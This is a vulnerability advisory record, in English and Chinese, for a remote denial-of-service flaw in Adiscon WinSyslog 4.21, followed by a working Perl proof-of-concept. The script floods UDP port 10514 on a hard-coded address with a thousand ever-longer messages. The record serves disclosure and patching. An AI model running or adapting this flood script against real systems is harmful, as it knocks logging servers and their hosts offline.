[原文]Adiscon WinSyslog 4.21 SP1 allows remote attackers to cause a denial of service (CPU consumption) via a long syslog message.


[CNNVD]WinSyslog超长Syslog消息远程拒绝服务攻击漏洞(CNNVD-200312-381)

        
        WinSyslog是一款用于Windows的syslog日志服务程序。
        WinSyslog没有正确处理超长syslog消息,远程攻击者可以利用这个漏洞对日志服务器进行拒绝服务攻击。
        当程序通过监听端口(默认是10514/UDP)接收到多个超长syslog消息,可导致WinSyslog程序停止响应。

WinSyslog Interactive Syslog Server 4.21/ long Message Remote Denial Of Service Vulnerability (EDBID:23242)

WinSyslog is prone to a remotely exploitable denial of service vulnerability. The issue exists in the Interactive Syslog Server specifically. This occurs when the program receives multiple excessive syslog messages via the port it listens on (10514/UDP by default). This is also reported to cause system instability, which is likely due to resource exhaustion.

The issue does not affect the WinSyslog or MonitorWare agent services. This issue affects versions of WinSyslog prior to 2003-09-15. The vendor has released hot fixes for the MonitorWare Agent product, which also includes the vulnerable component.

use IO::Socket;
$host = "192.168.1.44";
$port = "10514";
$data = "A";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);

for ($count = 0; $count < 1000; $count ++)
{
$buf = "";
$buf .= "A"x((600+$count)*4);

print "Length: ", length($buf), "\n";
send($socket, $buf, 0, $portaddr);
print "sent\n";
}

print "Done\n";
